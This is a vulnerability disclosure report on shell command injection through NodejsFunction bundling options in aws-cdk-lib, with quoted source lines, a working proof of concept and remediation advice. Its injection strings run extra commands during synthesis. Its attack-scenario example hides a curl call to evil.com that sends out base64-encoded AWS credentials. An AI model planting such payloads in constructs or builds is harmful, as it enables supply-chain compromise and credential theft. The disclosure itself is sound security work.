AWS VDP · Report #3558713
Command Injection via Unsanitized Bundling Options in `aws-cdk-lib/aws-lambda-nodejs`
How it was found
Asset: aws-cdk-lib (npm package), source: https://github.com/aws/aws-cdk
Severity: High
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command, 'OS Command Injection')
Summary
The NodejsFunction construct in aws-cdk-lib/aws-lambda-nodejs constructs a shell command string from several user-controlled bundling properties (externalModules, define, loader, inject, esbuildArgs) without sanitizing or escaping shell metacharacters. This command string is then executed via spawnSync('cmd', ['/c', command]) on Windows or spawnSync('bash', ['-c', command]) on Linux/macOS.
An attacker who controls these properties (for example, through a malicious CDK construct published as an npm package or a malicious pull request to a CDK project) can inject arbitrary OS commands that execute on any machine running cdk synth, cdk deploy, or cdk diff.
Vulnerable Code
File: packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts
.1 Unsanitized interpolation into the esbuild command array (lines 245–266)
// bundling.ts, lines 245-266
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
// ...
...this.externals.map(external => `--external:${external}`), // LINE 255 — NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // LINE 256 — NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // LINE 257 — key NOT ESCAPED
// ...
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // LINE 265 — NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // LINE 266 — NO ESCAPING
];
The values of external, ext (loader keys), key (define keys), i (inject paths), and esbuildArgs keys/values are all interpolated directly into the command string without any sanitization or quoting.
.2 Command string assembly (line 302)
// bundling.ts, line 302
esbuildCommand.join(' ')
All array elements are joined with a single space. Shell metacharacters like &, |, ;, `, $(...) within any element will be interpreted by the shell.
.3 Shell execution (lines 334–349)
// bundling.ts, lines 334-349
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[
osPlatform === 'win32' ? '/c' : '-c',
localCommand, // <-- the unsanitized command string
],
{
env: { ...process.env, ...environment },
stdio: ['ignore', process.stderr, 'inherit'],
cwd,
windowsVerbatimArguments: osPlatform === 'win32',
});
Where exec is a thin wrapper around spawnSync in lib/util.ts (line 74):
// util.ts, line 74
export function exec(cmd: string, args: string[], options?: SpawnSyncOptions) {
const proc = spawnSync(cmd, args, options);
// ...
}
The localCommand string is passed as the second argument to cmd /c (Windows) or bash -c (Linux), meaning the entire string is interpreted by the operating system's shell.
Proof of Concept
Prerequisites
- Node.js v18+ installed
- npm installed
Step 1: Create the project
mkdir repro-cdk-bundling-rce
cd repro-cdk-bundling-rce
npm init -y
Step 2: Install dependencies
npm install aws-cdk-lib constructs esbuild typescript
npm install --save-dev aws-cdk ts-node
Step 3: Create tsconfig.json
{
"compilerOptions": {
"target": "es2020",
"module": "commonjs",
"strict": true,
"skipLibCheck": true
}
}
Step 4: Create lambda/lambda-handler.ts
mkdir lambda
// lambda/lambda-handler.ts
export const handler = async (event: any) => {
return { statusCode: 200, body: 'Hello' };
};
Step 5: Create app.ts with the injection payload
import * as cdk from 'aws-cdk-lib';
import { Stack, StackProps } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import { Construct } from 'constructs';
import * as path from 'path';
export class ReproStack extends Stack {
constructor(scope: Construct, id: string, props?: StackProps) {
super(scope, id, props);
new NodejsFunction(this, 'MyHandler', {
entry: path.join(__dirname, 'lambda', 'lambda-handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
// INJECTION: The '&' character breaks out of the esbuild argument
// and executes a second command on the host OS.
externalModules: ['foo & echo PWNED_VIA_EXTERNAL > pwned_ext.txt'],
define: {
'FOO & echo PWNED_VIA_DEFINE > pwned_def.txt': 'bar'
}
}
});
}
}
const app = new cdk.App();
new ReproStack(app, 'ReproStack');
app.synth();
Step 6: Run the synthesis
npx ts-node app.ts
This triggers local bundling. The CDK constructs the following shell command (captured from runtime):
npx.cmd --no-install esbuild --bundle "...\lambda-handler.ts" --target=node20 --platform=node --outfile="...\index.js" --external:foo & echo PWNED_VIA_EXTERNAL > pwned_ext.txt --define:FOO & echo PWNED_VIA_DEFINE > pwned_def.txt="bar"
The & character splits the single command into three separate shell commands:
npx.cmd --no-install esbuild --bundle ... --external:foo, esbuild runs normallyecho PWNED_VIA_EXTERNAL > pwned_ext.txt, attacker's injected command executesecho PWNED_VIA_DEFINE > pwned_def.txt="bar", attacker's second injected command executes
Step 7: Verify RCE
# On Windows:
type pwned_ext.txt
type pwned_def.txt
# On Linux/macOS:
cat pwned_ext.txt
cat pwned_def.txt
Both files are created in the project directory, confirming that the injected shell commands executed successfully.
Relationship to Related Vulnerability
This vulnerability is related to, but distinct from, a separate command injection issue I reported in the same module via tsconfig.json compiler options (Report: #3534806 ). Both exploit the same underlying design flaw, unsanitized string concatenation into a shell command, but they differ in entry point, trigger conditions, and attack surface.
| Aspect | Vuln 1: tsconfig.json Injection | Vuln 2: Bundling Options Injection (this report) |
|---|---|---|
| Input source | tsconfig.json file read from disk | CDK construct properties defined in code (externalModules, define, loader, etc.) |
| Vulnerable function | getTsconfigCompilerOptions() in lib/util.ts | createBundlingCommand() in lib/bundling.ts |
| Trigger condition | Requires preCompilation: true to be explicitly set | Always active — the default local bundling code path processes these properties unconditionally |
| What gets injected | Compiler option values from compilerOptions in tsconfig.json | Values from externalModules[], define{} keys, loader{} keys, inject[], esbuildArgs{} keys/values |
| Attack vector | Attacker places a malicious tsconfig.json file in the project (e.g., via a PR) | Attacker provides malicious values through a published CDK construct (npm package), a shared internal library, or a PR modifying CDK app code |
| Number of injectable parameters | One (compilerOptions values) | Multiple (at least 5 distinct properties) |
| Execution sink | Same: exec() → spawnSync('cmd'/'bash', ['/c'/'-c', command]) | Same |
Both vulnerabilities converge at the same execution sink: the exec() function in util.ts (line 74), which passes the assembled command string directly to a shell interpreter via spawnSync. This means the root cause is systemic, the entire command construction pipeline in aws-lambda-nodejs lacks input sanitization before shell execution. A comprehensive fix should address this at the architectural level by eliminating shell-based command execution in favor of array-based spawnSync (without shell interpretation).
Remediation
-
Use array-based
spawnSync: Replace the pattern of building a single shell command string and executing it viacmd /corbash -c. Instead, pass arguments directly as an array tospawnSync('esbuild', [...args])without shell interpretation. -
If shell execution is required: Escape all user-provided values for the target shell before interpolation. On Windows, this means handling
&,|,>,<,^, etc. On Linux, this means handling;,&,|,$,`, etc. -
Input validation: Validate that values like
externalModulesentries conform to expected npm package name patterns (e.g.,/^[@a-z0-9][a-z0-9._\/-]*$/). Reject values containing shell metacharacters.
Impact
Attack Scenarios
1. Malicious Published CDK Construct (Supply Chain Attack)
An attacker publishes an npm package that exports a "convenience" CDK construct wrapping NodejsFunction. The construct passes attacker-controlled values into externalModules, define, or other unsanitized bundling properties. Any developer or CI/CD system that imports this construct and runs cdk synth will execute the attacker's commands.
Example of a malicious construct:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Attacker payload hidden among legitimate-looking externals
'lodash & curl https://evil.com/exfil?data=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
2. Malicious Pull Request
An attacker submits a PR to an open-source or internal CDK project. The PR modifies the bundling configuration of a NodejsFunction to include a payload. When a reviewer or CI/CD pipeline runs cdk synth, the payload executes.
Consequences
- Credential Theft: Steal
~/.aws/credentials, environment variables, CI/CD secrets - Reverse Shell: Establish persistent access to the build machine
- Supply Chain Pivot: Modify build artifacts, inject backdoors into deployed Lambda code
- Data Exfiltration: Read source code, database credentials, private keys
Scope of Vulnerability (Affected Properties)
The following bundling properties in NodejsFunction are vulnerable:
| Property | Source Line | Interpolation Pattern | Sanitization |
|---|---|---|---|
externalModules | L255 | `--external:${external}` | None |
loader (keys) | L256 | `--loader:${ext}=${name}` | None |
define (keys) | L257 | `--define:${key}=...` | Key: None, Value: JSON.stringify |
inject | L265 | `--inject:"${i}"` | None |
esbuildArgs (keys/values) | L266 / L451-465 | Various patterns | None |
banner | L262 | `--banner:js=${JSON.stringify(...)}` | JSON.stringify (partial) |
footer | L263 | `--footer:js=${JSON.stringify(...)}` | JSON.stringify (partial) |
The most exploitable vectors are externalModules and define keys since they have zero sanitization and accept arbitrary strings with no validation.